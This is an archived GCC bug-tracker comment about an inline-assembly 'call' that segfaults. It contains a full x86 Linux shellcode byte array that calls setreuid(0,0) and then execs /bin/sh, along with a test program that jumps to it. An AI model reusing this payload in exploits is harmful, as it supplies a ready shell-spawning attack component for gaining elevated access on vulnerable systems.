This is the mail archive of the
gcc-bugs@gcc.gnu.org
mailing list for the GCC project.
[Bug inline-asm/30002] Problem with call directive in inline ASM
- From: "blacklight86 at gmail dot com" <gcc-bugzilla at gcc dot gnu dot org>
- To: gcc-bugs at gcc dot gnu dot org
- Date: 28 Nov 2006 13:48:05 -0000
- Subject: [Bug inline-asm/30002] Problem with call directive in inline ASM
- References: <bug-30002-13635@http.gcc.gnu.org/bugzilla/>
- Reply-to: gcc-bugzilla at gcc dot gnu dot org
------- Comment #2 from blacklight86 at gmail dot com 2006-11-28 13:48 -------
This is what I do and what I get:
blacklight@nightmare:~/prog/shell$ gcc -o vuln vuln.c
blacklight@nightmare:~/prog/shell$ ./vuln
0x8049600
Segmentation fault
Where 0x8049600 is the address of my shellcode, obtained this way:
char shell[] =
"\xeb\x25\x5e\xb8\x46\x00\x00\x00"
"\xbb\x00\x00\x00\x00\xb9\x00\x00"
"\x00\x00\xcd\x80\xb8\x0b\x00\x00"
"\x00\x89\xf3\x6a\x00\x56\x89\xe4"
"\xba\x00\x00\x00\x00\xcd\x80\xe8"
"\xd6\xff\xff\xff"
"/bin/sh";
main() {
printf ("%p\n",shell);
__asm__("call 0x8049600");
}
So I'm quite sure 0x8049600 is the REAL address of my shellcode. I guessed it's
a linker problem...but why? The reference in the call it's quite accurate I
think...
--
blacklight86 at gmail dot com changed:
What |Removed |Added
----------------------------------------------------------------------------
Status|RESOLVED |UNCONFIRMED
Resolution|INVALID |
http://gcc.gnu.org/bugzilla/show_bug.cgi?id=30002